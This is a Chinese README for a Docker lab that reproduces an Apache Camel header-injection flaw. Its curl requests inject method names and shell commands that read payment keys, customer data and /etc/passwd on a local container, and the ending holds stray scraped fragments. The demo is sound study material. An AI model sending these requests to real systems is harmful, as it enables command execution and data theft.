Apache Camel CVE 演示

本项目演示 Apache Camel 中与头部注入攻击相关的安全漏洞。

Docker 构建

构建 Docker 镜像：

docker build -t camel-cve-demo .

Docker 运行

运行容器并开放所有必要端口：

docker run -d `
  --name camel-cve-demo `
  -p 8080:8080 `
  -p 8081:8081 `
  -p 8484:8484 `
  -v ${PWD}/logs:/app/logs `
  -e JAVA_OPTS="-Xmx512m -Xms256m" `
  camel-cve-demo

攻击复现

1. Bean 方法注入攻击

通过注入方法名利用易受攻击的端点：

# 成功攻击 - 区分大小写的头部
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"

# 备选方案 - 查询参数注入
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"

# 错误的大小写 - 不应生效
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"

curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"

# 查看当前目录
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"

# 列出配置目录
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"

# 查找配置文件
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"

# 读取数据库配置
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"

# 读取支付密钥
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"

# 读取客户数据
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"

# 读取审计日志
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"

# 读取系统用户
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"

# 列出进程
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"

CVE-2025-27636-demo

最受欢迎

2. 命令执行攻击

验证攻击结果

端口